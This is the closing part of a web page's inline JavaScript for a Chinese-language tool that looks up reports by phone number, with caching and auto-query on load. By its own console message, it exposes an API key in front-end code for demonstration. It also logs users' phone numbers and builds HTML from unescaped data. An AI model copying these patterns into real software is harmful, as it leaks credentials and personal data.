                            <button class="btn btn-detail" onclick="viewReportDetail('${report.rid}')">
                                查看详情
                            </button>
                        </div>
                    </div>
                `).join('');
            }
        }

        // 显示加载状态
        function showLoading(show) {
            const loading = document.getElementById('loading');
            const queryBtn = document.querySelector('.btn');
            
            if (show) {
                loading.classList.add('show');
                queryBtn.disabled = true;
                queryBtn.textContent = '查询中...';
            } else {
                loading.classList.remove('show');
                queryBtn.disabled = false;
                queryBtn.textContent = '查询';
            }
        }

        // 显示错误信息
        function showError(message, type = 'error') {
            hideError();
            const errorDiv = document.createElement('div');
            if (type === 'success') {
                errorDiv.className = 'error success';
            } else if (type === 'info') {
                errorDiv.className = 'error info';
            } else {
                errorDiv.className = 'error';
            }
            errorDiv.textContent = message;
            document.querySelector('.container').appendChild(errorDiv);
        }

        // 隐藏错误信息
        function hideError() {
            const existingError = document.querySelector('.error');
            if (existingError) {
                existingError.remove();
            }
        }

        // 隐藏结果
        function hideResult() {
            // 重置为默认的"无报告"状态
            const resultSummary = document.getElementById('resultSummary');
            const reportList = document.getElementById('reportList');
            
            resultSummary.textContent = '';
            reportList.innerHTML = `
                <div class="no-reports">
                    <div class="no-reports-icon">📋</div>
                    <p>暂无报告数据</p>
                    <p class="no-reports-hint">请输入手机号码查询报告</p>
                </div>
            `;
        }

        // 回车键查询
        document.getElementById('telephone').addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                queryReports();
            }
        });

        // 缓存管理函数
        function savePhoneToCache(phone) {
            try {
                localStorage.setItem('lastQueryPhone', phone);
                console.log('手机号已缓存:', phone);
            } catch (error) {
                console.warn('缓存手机号失败:', error);
            }
        }

        function getPhoneFromCache() {
            try {
                return localStorage.getItem('lastQueryPhone');
            } catch (error) {
                console.warn('读取缓存手机号失败:', error);
                return null;
            }
        }


        // 页面加载完成后的初始化
        document.addEventListener('DOMContentLoaded', function() {
            console.log('纯前端报告查询页面已加载');
            console.log('注意：此版本将API密钥暴露在前端，仅用于演示目的');
            
            // 检查是否有缓存的手机号
            const cachedPhone = getPhoneFromCache();
            if (cachedPhone) {
                console.log('发现缓存的手机号:', cachedPhone);
                const phoneInput = document.getElementById('telephone');
                phoneInput.value = cachedPhone;
                
                // 自动执行查询
                console.log('自动执行查询...');
                queryReports();
            }
        });
    </script>
</body>
</html>
